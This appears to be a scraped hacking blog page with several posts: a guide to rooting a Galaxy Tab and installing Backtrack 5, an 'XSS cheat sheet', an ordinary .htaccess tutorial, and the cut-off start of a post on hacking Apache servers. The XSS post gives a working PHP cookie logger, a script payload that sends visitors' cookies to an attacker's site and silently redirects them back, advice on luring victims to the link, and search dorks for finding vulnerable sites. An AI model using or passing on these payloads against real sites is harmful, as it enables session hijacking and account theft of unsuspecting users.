Install Backtrack 5 On Samsung Galaxy Tab

12/05/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="gmail_quote">
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD-PsvnTVKdwvVr1xKFRMufrlD3IMN46fcGY61fqbboD9wyTzpOADFZ_6VMQ4LLrExU-4fn0IGSlwnHDXGUHs9tL0BIQUhMCy3vjtXrLmaNd1ISFzlkdPfUVPcwIA92WBwJB2Fk3tEGEcr/s1600/IMG_7595-768608.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5681247311530902882" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD-PsvnTVKdwvVr1xKFRMufrlD3IMN46fcGY61fqbboD9wyTzpOADFZ_6VMQ4LLrExU-4fn0IGSlwnHDXGUHs9tL0BIQUhMCy3vjtXrLmaNd1ISFzlkdPfUVPcwIA92WBwJB2Fk3tEGEcr/s320/IMG_7595-768608.jpg" /></a></div>
<div dir="ltr">
<br />
<br />
First thing after I get Samsung Galaxy Tab 10.1 is how can I change or  add some feature about penetration testing to my Tab. So after I read  "How to install Backtrack5 on Motorola Xoom by Pualdotcom, I think I can  install Backtrack 5 in my Tab too. That's it. I create this tutorial  after I'm successful to installing Backtrack 5 on my Tab. But please do  all the steps with you risk!!!!.<br />
<br />
1. Download rooting file and transfer it to the tab<br />
    - <a href="http://forum.xda-developers.com/attachment.php?attachmentid=593613&d=1305168395" target="_blank">http://forum.xda-developers.com/attachment.php?attachmentid=593613&d=1305168395</a><br />
<br />
<br />
<br />
2.  Go into the recovery mode with hold "Power Button and Low Volumn  Button" for rebooting and when you see the 2 icon press "Low Volumn" and  press "High Volumn" or "Power Button" for go to recovery mode.<br />
<br />
3. Choose "apply the update from sdcard" and choose "rooting file"<br />
<br />
<br />
After this step, you're tab was rooted now.<br />
<br />
4. Download requirement files<br />
   -  P7500DXKH4_P7500OLBKH1_P7500XWKG1_HOME.tar.MD5  <a href="http://www.megaupload.com/?d=S6HSZL8H" target="_blank">http://www.megaupload.com/?d=S6HSZL8H</a><br />
   -  001001-P7500_KI1_Restock.zip  <a href="http://www.multiupload.com/5RMKLEFCTA" target="_blank">http://www.multiupload.com/5RMKLEFCTA</a><br />
   -  001003-Overcome_10.1_Series_v1.1.0_P7500_Full.zip  <a href="http://www.multiupload.com/CRBRV18830" target="_blank">http://www.multiupload.com/CRBRV18830</a><br />
   -  002001-Overcome_CWM_Recovery_v4.1.1.5.tar  <a href="http://www.multiupload.com/REAMDK5J7U" target="_blank">http://www.multiupload.com/REAMDK5J7U</a><br />
   -   Overclock Kernel <a href="http://droidbasement.com/galaxy/kernels/2636/20/p4-ux/boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip" target="_blank">http://droidbasement.com/galaxy/kernels/2636/20/p4-ux/boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip</a><br />
<br />
*** you can change Overcome_10.1_Series_v1.1.0_P7500_Full.zip to another Custom ROM just like Starburt or something like that.<br />
<br />
5. Extract 001001-P7500_KI1_Restock.zip<br />
<br />
6.  Go into the recovery mode with hold "Power Button and Low Volumn  Button" for rebooting and when you see the 2 icon press "High Volumn" or  "Power Button" for go to download mode.<br />
<br />
7. Open Odin3_v1.85 and click PDA -> P7500OXAKI1_P7500XXKI1_P7500XXKI1_HOME.tar.MD5 -> start<br />
<br />
The tab will restart after this step is done.<br />
<br />
8. Copy file Overcome_10.1_Series_v1.1.0_P7500_Full.zip and boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip to the tab<br />
<br />
9. Go to the download mode again.<br />
<br />
10. In the Odin, click PDA -> Overcome_CWM_Recovery_v4.1.1.5.tar -> start<br />
<br />
11. Go to the recovery mode<br />
<br />
12.  Go to install menu -> choose zip from internal storage with data  wipe -> Overcome_10.1_Series_v1.1.0_P7500_Full.zip -> install menu  -> choose zip from internal storage ->  boot-cm_2636.4_p4_ux-oc-xtra-vfpv3-d16_fp-091311.zip<br />
<br />
<br />
13. Now you're root and get the new custom ROM. So install Android SDK and download Backtrack5 ARM version.<br />
   - Android SDK <a href="http://developer.android.com/sdk/index.html#top" target="_blank">http://developer.android.com/sdk/index.html#top</a><br />
   - Backtrack 5 ARM <a href="http://www.backtrack-linux.org/downloads/" target="_blank">http://www.backtrack-linux.org/downloads/</a><br />
<br />
<br />
14. Copy Backtrack into your tab or use the adb for install busybox and upload Backtrack into the tab.<br />
   - Go to C:\Program Files\Android\android-sdk\platform-tools<br />
   - adb.exe shell<br />
   - mkdir /sdcard/BT5<br />
   - exit<br />
   - adb.exe push busybox /sdcard/<br />
   - adb.exe push installbusybox.sh /sdcard<br />
   - adb.exe push fsrw /sdcard/BT5/<br />
   - adb.exe push mountonly /sdcard/BT5/<br />
   - adb.exe push bootbt /sdcard/BT5/<br />
   - adb.exe push bt5.img.gz /sdcard/BT5/<br />
   - adb.exe push unionfs /sdcard/BT5/<br />
<br />
***If you use SSHDroid to enable SSHD in your tab.[Default SSH User: root and Password: admin]<br />
<br />
<br />
<br />
<br />
15.  Go to the terminal of Tab with ConnectBot and choose local to connect  in your Tab. I don't know you can use sshd to complete this step or not  but you can try it for easy typing.<br />
<br />
<br />
16. Remove the Tab from PC.<br />
<br />
<br />
17. Go to /sdcard/BT5 and unzip bt5.img.gz<br />
   - cd /sdcard/BT5<br />
   - gunzip bt5.img.gz<br />
<br />
<br />
18. Start BT5<br />
   - sh bootbt<br />
<br />
<br />
19. So now you're in the chroot of Backtrack5<br />
<br />
net.ipv4.ip_forward = 1<br />
root@localhost:/# ls /pentest/<br />
backdoors  database     exploits   passwords  scanners  stressing  voip<br />
cisco      enumeration  forensics  python     sniffers  tunneling  web<br />
<br />
<br />
<br />
<br />
19. Run the startvnc<br />
  - startvnc<br />
<br />
<br />
*** You can change resolution of vnc with nano /usr/bin/startvnc<br />
<br />
<br />
<br />
<br />
20. Now vnc is running, you can check what is the port number that was use by vnc with<br />
  - netstat -napt<br />
<br />
<br />
<br />
<br />
21. Now you can connect vnc server with androidVNC or whatever that you can find in the Android Market.<br />
<br />
<br />
<br />
*** Default password of vnc server is "toortoor"<br />
22. Finally you can do anything that you can do in Backtrack5 on your Tab, have a nice hack <img alt="Smiley" border="0" src="https://www.ethicalhacker.net/forum/Smileys/default/smiley.gif"><br />
<br />
<br />
<br />
Further reading :<br />
<a href="http://blog.l-lacker.com/security-backtrack-5-on-a-galaxy-s-phone/" target="_blank">http://blog.l-lacker.com/security-backtrack-5-on-a-galaxy-s-phone/</a><span class="HOEnZb"><span style="color: #888888;"><br /></span></span></div>
</div>
<br /></div>

Tutorial Install Backtrack 5 On Samsung Galaxy Tab

First thing after I get Samsung Galaxy Tab 10.1 is how can I change or add some feature about penetration testing to my Tab. So aft...

XSS cheat sheet

12/02/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjVCtcM7W45bA5QCEb65puVxCvWKAXw4wp5In9jztsnFfzraDcLH6CAXABNxt61XI9pFnn0KlL9DG4f2bfRy0iam5OfDFa_yEXP0J84vT1Jjs_Mlrln78euRLldt4z6Xazx7pa0W7A7yis/s1600/xss-threat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjVCtcM7W45bA5QCEb65puVxCvWKAXw4wp5In9jztsnFfzraDcLH6CAXABNxt61XI9pFnn0KlL9DG4f2bfRy0iam5OfDFa_yEXP0J84vT1Jjs_Mlrln78euRLldt4z6Xazx7pa0W7A7yis/s1600/xss-threat3.jpg" /></a></div>
<br />
Before we start <span style="color: mediumblue;">what is XSS?</span> let's come to basic !! hmm what is <span style="color: darkgreen;">cookie</span> , don't say something like eating stuff.<br />
<span style="color: darkgreen;"><span style="font-weight: bold;">COOKIE</span></span>: <br />
<div class="define border-fade">
A cookie is the variable that web-browsers use to store your login  credentials. Without a cookie, you cannot "stay logged in" on websites.</div>
<span style="color: purple;"><span style="font-weight: bold;">CROSS SITE SCRIPTING</span></span>: <br />
<blockquote>
Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage.</blockquote>
SOME POINTS ON XSS :<br />
<blockquote>
@ -XSS attacks almost always focus upon sites which use cookies for storing our username and password.<br />
@-XSS is used to harm the website (may be defacing ).</blockquote>
<span style="font-style: italic;">tRAdiTIOnAL Type$</span>: <span style="color: mediumblue;">type0</span> , <span style="color: darkslateblue;">type1</span>, <span style="color: mediumvioletred;">type2</span><br />
<span style="color: mediumblue;">type 0 =DOM-based</span>:<br />
<br />
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
DOM-based  is an XSS attack wherein the attack payload is executed as a result of  modifying the DOM “environment” in the slave’s browser used by the  original client side script, so that the client side code runs in an  “unexpected” manner. That is, the page itself (the HTTP response that  is) does not change, but the client side code contained in the page  executes differently due to the malicious modifications that have  occurred in the DOM environment.</div>
</blockquote>
<span style="color: darkslateblue;">type 1 = Non Persistence</span> :<br />
<br />
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
It  means that the injected code is not permanent and is for small time  till the user is on page or having the url with malicious code.</div>
</blockquote>
</div>
<span style="color: mediumvioletred;">type 2 = Persistence</span> :<br />
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
It means that the injected code is permanent and will stay on the site and output can be seen by any user of site.</div>
</blockquote>
</div>
Now the question is how to check whether the site is xss vulnerable or not ?<br />
There are two methods to check this:</div>
<div>
<br />
1.<span style="font-weight: bold;">POST</span>:: <a href="http://www.target.com/search.php" target="_blank">http://www.target.com/search.php</a> ( we put malacious code in search engine)</div>
<blockquote>
<div>
<code class="prettyprint"><script>alert(“xss”);</script></code></div>
</blockquote>
2.<span style="font-weight: bold;">GET</span>: <a href="http://www.target.com/search=%3Cscript%3Ealert%28" target="_blank">http://www.target.com/search=<script>alert(</a>"xss");</script><br />
We directly put the script in url of browser<br />
<br />
<span style="color: mediumvioletred;"> </span>what else we can do ..??<br />
--><span style="text-decoration: underline;">Insert image</span>:<br />
<blockquote>
<code class="prettyprint"><img src=“url of the image”></img></code></blockquote>
--><span style="text-decoration: underline;">Insert message</span>:<br />
<div class="wobble-horizontal system">
<code><b>this is hacked </b></code></div>
<br />
<span style="text-decoration: underline;">Redirect to your page</span> :<br />
<div class="wobble-horizontal command">
<code class="prettyprint"><script>window.open( "http://www.yoursite.com/" )</script></code></div>
But main aim of xss is to steal cookies so here is cookie stealing.<br />
COOKIE STEALING TUTORIAL:<br />
<div class="wobble-horizontal command">
<code class="prettyprint"><?php<br /><br />function GetIP()<br />{<br />    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))<br />        $ip = getenv("HTTP_CLIENT_IP");<br />    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))<br />        $ip = getenv("HTTP_X_FORWARDED_FOR");<br />    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))<br />        $ip = getenv("REMOTE_ADDR");<br />    else if (isset($_SERVER['REMOTE_ADDR']) &&  $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],  "unknown"))<br />        $ip = $_SERVER['REMOTE_ADDR'];<br />    else<br />        $ip = "unknown";<br />    return($ip);<br />}<br /><br />function logData()<br />{<br />    $ipLog="log.txt";<br />    $cookie = $_SERVER['QUERY_STRING'];<br />    $register_globals = (bool) ini_get('register_gobals');<br />    if ($register_globals) $ip = getenv('REMOTE_ADDR');<br />    else $ip = GetIP();<br /><br />    $rem_port = $_SERVER['REMOTE_PORT'];<br />    $user_agent = $_SERVER['HTTP_USER_AGENT'];<br />    $rqst_method = $_SERVER['METHOD'];<br />    $rem_host = $_SERVER['REMOTE_HOST'];<br />    $referer = $_SERVER['HTTP_REFERER'];<br />    $date=date ("l dS of F Y h:i:s A");<br />    $log=fopen("$ipLog", "a+");<br /><br />    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))<br />        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }  $date | COOKIE:  $cookie <br>");<br />    else<br />        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host  |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE:  $date | COOKIE:  $cookie \n\n");<br />    fclose($log);<br />}<br /><br />logData();<br /><br />?></code></div>
<br />
now how to use this code???<br />
This is done by three-step process consisting of the injected script, the cookie recorder, and the log file.<br />
<br />
First you'll need to get an account on a server and create two files,  log.txt and giveyourname.php. You can leave log.txt empty. This is the  file your cookie stealer will write to. Now paste this php code into  your cookie stealer script (give your name.php) [code metion above].<br />
above script will record the cookies of every user that views it.<br />
<div class="content shadow-radial">
<code class="prettyprint"><script language=  "JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie="  +  document.cookie;document.location="http://www.whateversite.com"</script></code></div>
now above code is injected to the xss vulnerable site page via get or post method: what does this code do??<br />
The above code redirects the viewer to your script, which records their  cookie to your log file. It then redirects the viewer back to the  unmodified search page so they don't know anything happened.<br />
<br />
<br />
If this code works then you'll automatically gets the cookie in  yoursite, other wise you have to do some hard work !! grab the link  which you get after the insertion of above script. And manually get  someone to use that link if necessary. o0ps all s done at this point.<br />
<br />
##All you need to do now is go to your website and check the<span style="color: maroon;"><span style="font-weight: bold;"> log file</span></span><br />
<br />
YOU CAN TRY TO LOOK HERE =<br />
<blockquote>
SEARCH BOX<br />
SHOUT BOX<br />
BLOGS<br />
COMMENT BOX<br />
LOGIN BOX<br />
FEEDBACK FORMS</blockquote>
hey there are still so many xss vulnerable sites , the thing is you should spent maximum time on internet in search for them:<br />
here are few dorks for you:<br />
<blockquote>
inurl:search.php?q=<br />
inurl:com_feedpostold/feedpost.php?url=<br />
inurl:scrapbook.php?id=<br />
inurl:headersearch.php?sid=<br />
inurl:/poll/default.asp?catid=<br />
inurl:/search_results.php?search=<br />
/preaspjobboard//Employee/emp_login.asp?msg1=<br />
pages/match_report.php?mid= pages/match_report.php?mid=</blockquote>
<blockquote>
inurl:?msg=</blockquote>
<br />
<br /></div>

LFI XSS XSS cheat sheet

Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. COOKIE : A ...

.htaccess Tutorial

12/01/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDG-isyl8fP485LS0CmLWZQ7rBVwVBtD9k4fGBTdOPj1lROVe5sjRPcwUUEOj5cXQ7fnXmUNf0JdTVPYJzliAsa3FsJaI5JeXKKg9bKhOSz7z_m73TnpdzU2HjyzD1-tYW5jtk2GBXZyfN/s1600/htaccess.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDG-isyl8fP485LS0CmLWZQ7rBVwVBtD9k4fGBTdOPj1lROVe5sjRPcwUUEOj5cXQ7fnXmUNf0JdTVPYJzliAsa3FsJaI5JeXKKg9bKhOSz7z_m73TnpdzU2HjyzD1-tYW5jtk2GBXZyfN/s1600/htaccess.gif" /></a></div><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: large;"><b><span style="color: #000099; font-size: x-large;"></span></b></span><br /><div class="gmail_quote"><div align="center"><br /><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: large;"><b><span style="color: #000099; font-size: x-large;">.htaccess Tutorial<br /><span style="color: black; font-size: medium;">Part 1 - Introduction</span></span></b></span></div><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: x-small;"><ul><li><b>Part 1 - Introduction</b></li><li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part2" target="">Part 2 - .htaccess Commands</a></li><li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part3" target="">Part 3 - Password Protection</a></li></ul></span><br /><br /><br /><br /><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: x-small;">               </span><br /><div align="right" style="float: right;"></div><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: x-small;"><span style="color: #000099; font-family: "Arial";"><big><b>Introduction</b></big></span><br /><br />In this tutorial you will find out about the .htaccess file and the  power it has to improve your website. Although .htaccess is only a file,  it can change settings on the servers and allow you to do many  different things, the most popular being able to have your own custom  404 error pages. .htaccess isn't difficult to use and is really just  made up of a few simple instructions in a text file.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Will My Host Support It?</b></big></span><br /><br />This is probably the hardest question to give a simple answer to. Many  hosts support .htaccess but don't actually publicise it and many other  hosts have the capability but do not allow their users to have a  .htaccess file. As a general rule, if your server runs Unix or Linux, or  any version of the Apache web server it will support .htaccess,  although your host may not allow you to use it.<br /><br />A good sign of whether your host allows .htaccess files is if they  support password protection of folders. To do this they will need to  offer .htaccess (although in a few cases they will offer password  protection but not let you use .htaccess). The best thing to do if you  are unsure is to either upload your own .htaccess file and see if it  works or e-mail your web host and ask them.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>What Can I Do?</b></big></span><br /><br />You may be wondering what .htaccess can do, or you may have read about  some of its uses but don't realise how many things you can actually do  with it.<br /><br />There is a huge range of things .htaccess can do including: password  protecting folders, redirecting users automatically, custom error pages,  changing your file extensions, banning users with certian IP addresses,  only allowing users with certain IP addresses, stopping directory  listings and using a different file as the index file.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Creating A .htaccess File</b></big></span><br /><br />Creating a .htaccess file may cause you a few problems. Writing the file  is easy, you just need enter the appropriate code into a text editor  (like notepad). You may run into problems with saving the file. Because  .htaccess is a strange file name (the file actually has no name but a 8  letter file extension) it may not be accepted on certain systems (e.g.  Windows 3.1). With most operating systems, though, all you need to do is  to save the file by entering the name as:<br /><span style="color: blue; font-family: "Arial";"><br />".htaccess"<br /></span><br />(including the quotes). If this doesn't work, you will need to name it  something else (e.g. htaccess.txt) and then upload it to the server.  Once you have uploaded the file you can then rename it using an FTP  program.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Warning</b></big></span><br /><br />Before beginning using .htaccess, I should give you one warning.  Although using .htaccess on your server is extremely unlikely to cause  you any problems (if something is wrong it simply won't work), you  should be wary if you are using the Microsoft FrontPage Extensions. The  FrontPage extensions use the .htaccess file so you should not really  edit it to add your own information. If you do want to (this is not  recommended, but possible) you should download the .htaccess file from  your server first (if it exists) and then add your code to the  beginning.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Custom Error Pages</b></big></span><br /><br />The first use of the .htaccess file which I will cover is custom error  pages. These will allow you to have your own, personal error pages (for  example when a file is not found) instead of using your host's error  pages or having no page. This will make your site seem much more  professional in the unlikely event of an error. It will also allow you  to create scripts to notify you if there is an error (for example I use a  PHP script on Free Webmaster Help to automatically e-mail me when a  page is not found).<br /><br />You can use custom error pages for any error as long as you know its  number (like 404 for page not found) by adding the following to your  .htaccess file:<br /><span style="color: blue; font-family: "Arial";"><br />ErrorDocument errornumber /file.html<br /></span><br />For example if I had the file notfound.html in the root direct<br />ory of my site and I wanted to use it for a 404 error I would use:<br /><span style="color: blue; font-family: "Arial";"><br />ErrorDocument 404 /notfound.html<br /></span><br />If the file is not in the root directory of your site, you just need to put the path to it:<br /><span style="color: blue; font-family: "Arial";"><br />ErrorDocument 500 /errorpages/500.html<br /></span><br />These are some of the most common errors:<br /><br />401 - Authorization Required<br />400 - Bad request<br />403 - Forbidden<br />500 - Internal Server Error<br />404 - Wrong page<br /><br />Then, all you need to do is to create a file to display when the error happens and upload it and the .htaccess file.<br /><br /></span><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: large;"><b><span style="color: #000099; font-size: x-large;"><span style="color: black; font-size: medium;"><a href="http://www.blogger.com/post-edit.g?blogID=3385998300716176663&postID=393263756413011452" name="Part2">Part 2 </a>- .htaccess Commands<br /><br /></span></span></b></span><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: x-small;"><span style="color: #000099; font-family: "Arial";"><big><b>Introduction</b></big></span><br /><br />In the last part I introduced you to .htaccess and some of its useful  features. In this part I will show you how to use the .htaccess file to  implement some of these.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Stop A Directory Index From Being Shown</b></big></span><br /><br />Sometimes, for one reason or another, you will have no index file in  your directory. This will, of course, mean that if someone types the  directory name into their browser, a full listing of all the files in  that directory will be shown. This could be a security risk for your  site.<br /><br />To prevent against this (without creating lots of new 'index' files, you  can enter a command into your .htaccess file to stop the directory list  from being shown:<br /><span style="color: blue; font-family: "Arial";"><br />Options -Indexes <br /></span><br /><span style="color: #000099; font-family: "Arial";"><big><b>Deny/Allow Certian IP Addresses</b></big></span><br /><br />In some situations, you may want to only allow people with specific IP  addresses to access your site (for example, only allowing people using a  particular ISP to get into a certian directory) or you may want to ban  certian IP addresses (for example, keeping disruptive memembers out of  your message boards). Of course, this will only work if you know the IP  addresses you want to ban and, as most people on the internet now have a  dynamic IP address, so this is not always the best way to limit usage.<br /><br />You can block an IP address by using:<br /><span style="color: blue; font-family: "Arial";"><br />deny from 000.000.000.000 <br /></span><br />where 000.000.000.000 is the IP address. If you only specify 1 or 2 of the groups of numbers, you will block a whole range.<br /><br />You can allow an IP address by using:<br /><span style="color: blue; font-family: "Arial";"><br />allow from 000.000.000.000 <br /></span><br />where 000.000.000.000 is the IP address. If you only specify 1 or 2 of the groups of numbers, you will allow a whole range.<br /><br />If you want to deny everyone from accessing a directory, you can use:<br /><span style="color: blue; font-family: "Arial";"><br />deny from all<br /></span><br />but this will still allow scripts to use the files in the directory.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Alternative Index Files</b></big></span><br /><br />You may not always want to use index.htm or index.html as your index  file for a directory, for example if you are using PHP files in your  site, you may want index.php to be the index file for a directory. You  are not limited to 'index' files though. Using .htaccess you can set  foofoo.blah to be your index file if you want to!<br /><br />Alternate index files are entered in a list. The server will work from  left to right, checking to see if each file exists, if none of them  exisit it will display a directory listing (unless, of course, you have  turned this off).<br /><br />DirectoryIndex index.php index.php3 <a href="http://messagebrd.pl/" target="_blank">messagebrd.pl</a> index.html index.htm<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Redirection</b></big></span><br /><br />One of the most useful functions of the .htaccess file is to redirect  requests to different files, either on the same server, or on a  completely different web site. It can be extremely useful if you change  the name of one of your files but allow users to still find it. Another  use (which I find very useful) is to redirect to a longer URL, for  example in my newsletters I can use a very short URL for my affiliate  links. The following can be done to redirect a specific file:<br /><span style="color: blue; font-family: "Arial";"><br />Redirect /location/from/root/file.ext <a href="http://www.othersite.com/new/file/location.xyz" target="_blank">http://www.othersite.com/new/file/location.xyz</a><br /></span><br />In this above example, a file in the root directory called oldfile.html would be entered as:<br /><span style="color: blue; font-family: "Arial";"><br />/oldfile.html<br /></span><br />and a file in the old subdirectory would be entered as:<br /><span style="color: blue; font-family: "Arial";"><br />/old/oldfile.html<br /></span><br />You can also redirect whole directoires of your site using the .htaccess  file, for example if you had a directory called olddirectory on your  site and you had set up the same files on a new site at:  <a href="http://www.newsite.com/newdirectory/" target="_blank">http://www.newsite.com/newdirectory/</a> you could redirect all the files in  that directory without having to specify each one:<br /><span style="color: blue; font-family: "Arial";"><br />Redirect /olddirectory <a href="http://www.newsite.com/newdirectory" target="_blank">http://www.newsite.com/newdirectory</a><br /></span><br />Then, any request to your site below /olddirectory will bee redirected to the new site, with the <br />extra information in the URL added on, for example if someone typed in:<br /><span style="color: blue; font-family: "Arial";"><br /><a href="http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif" target="_blank">http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif</a><br /></span><br />They would be redirected to:<br /><span style="color: blue; font-family: "Arial";"><br /><a href="http://www.newsite.com/newdirectory/oldfiles/images/image.gif" target="_blank">http://www.newsite.com/newdirectory/oldfiles/images/image.gif</a><br /></span><br />This can prove to be extremely powerful if used correctly.<br /><br /></span><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: large;"><b><span style="color: #000099; font-size: x-large;"><span style="color: black; font-size: medium;"><a href="http://www.blogger.com/post-edit.g?blogID=3385998300716176663&postID=393263756413011452" name="Part3">Part 3</a> - Password Protection<br /><br /></span></span></b></span><span style="font-family: "Arial", "Helvetica", sans-serif; font-size: x-small;"><span style="color: #000099; font-family: "Arial";"><big><b>Introduction</b></big></span><br /><br />Although there are many uses of the .htaccess file, by far the most  popular, and probably most useful, is being able to relaibly password  protect directories on websites. Although JavaScript etc. can also be  used to do this, only .htaccess has total security (as someone must know  the password to get into the directory, there are no 'back doors')<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>The .htaccess File</b></big></span><br /><br />Adding password protection to a directory using .htaccess takes two  stages. The first part is to add the appropriate lines to your .htaccess  file in the directory you would like to protect. Everything below this  directory will be password protected:<br /><span style="color: blue; font-family: "Arial";"><br />AuthName "Section Name"<br />AuthType Basic<br />AuthUserFile /full/path/to/.htpasswd<br />Require valid-user<br /></span><br />There are a few parts of this which you will need to change for your  site. You should replace "Section Name" with the name of the part of the  site you are protecting e.g. "Members Area".<br /><br />The /full/parth/to/.htpasswd should be changed to reflect the full  server path to the .htpasswd file (more on this later). If you do not  know what the full path to your webspace is, contact your system  administrator for details.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>The .htpasswd File</b></big></span><br /><br />Password protecting a directory takes a little more work than any of the  other .htaccess functions because you must also create a file to  contain the usernames and passwords which are allowed to access the  site. These should be placed in a file which (by default) should be  called .htpasswd. Like the .htaccess file, this is a file with no name  and an 8 letter extension. This can be placed anywhere within you  website (as the passwords are encrypted) but it is advisable to store it  outside the web root so that it is impossible to access it from the  web.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Entering Usernames And Passwords</b></big></span><br /><br />Once you have created your .htpasswd file (you can do this in a standard  text editor) you must enter the usernames and passwords to access the  site. They should be entered as follows:<br /><span style="color: blue; font-family: "Arial";"><br />username:password<br /></span><br />where the password is the encrypted format of the password. To encrypt  the password you will either need to use one of the premade scripts  available on the web or write your own. There is a good  username/password service at the KxS site which will allow you to enter  the user name and password and will output it in the correct format.<br /><br />For multiple users, just add extra lines to your .htpasswd file in the  same format as the first. There are even scripts available for free  which will manage the .htpasswd file and will allow automatic  adding/removing of users etc.<br /><br /><span style="color: #000099; font-family: "Arial";"><big><b>Accessing The Site</b></big></span><br /><br />When you try to access a site which has been protected by .htaccess your  browser will pop up a standard username/password dialog box. If you  don't like this, there are certain scripts available which allow you to  embed a username/password box in a website to do the authentication. You  can also send the username and password (unencrypted) in the URL as  follows:<br /><span style="color: blue; font-family: "Arial";"><br /><a href="http://www.website.com/directory/" target="_blank">http://username:password@www.website.com/directory/</a><br /></span><br /><span style="color: #000099; font-family: "Arial";"><big><b>Summary</b></big></span><br /><br />.htaccess is one of the most useful files a webmaster can use. There are  a wide variety of different uses for it which can save time and  increase security on your website.</span><span class="HOEnZb"><span style="color: #888888;"><br /><br clear="all" /><br />-- <br />Regards,<br /></span></span>Hardeep Singh</div><div dir="ltr">(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

Basic htaccess Web Development .htaccess Tutorial

.htaccess Tutorial Part 1 - Introduction Part 1 - Introduction Part 2 - .htaccess Commands Part 3 - Password Protection Intro...

Apache Vulnerability: Hack Apache based Web Servers

11/30/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 13px; line-height: 18px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP5g-MkNaBkWxG7VTGSu1vUYHrU0HO-YzgblXPtmYxDNsmniEacgVYA4MiqdbufPP_ecLUfUNWA78IE6fYqz6cpU1e7JfqGqSxiQAxSNlXcVkWhKmuXWqDiGmiTu3UOZA8eLD6ul7tohnr/s1600/apache_vulnerability_dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP5g-MkNaBkWxG7VTGSu1vUYHrU0HO-YzgblXPtmYxDNsmniEacgVYA4MiqdbufPP_ecLUfUNWA78IE6fYqz6cpU1e7JfqGqSxiQAxSNlXcVkWhKmuXWqDiGmiTu3UOZA8eLD6ul7tohnr/s1600/apache_vulnerability_dos.png" /></a></div><h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;"></h3><h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">Apache Vulnerability: Hack Apache based Web Servers</h3><div class="post-header" style="line-height: 1.6; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><div 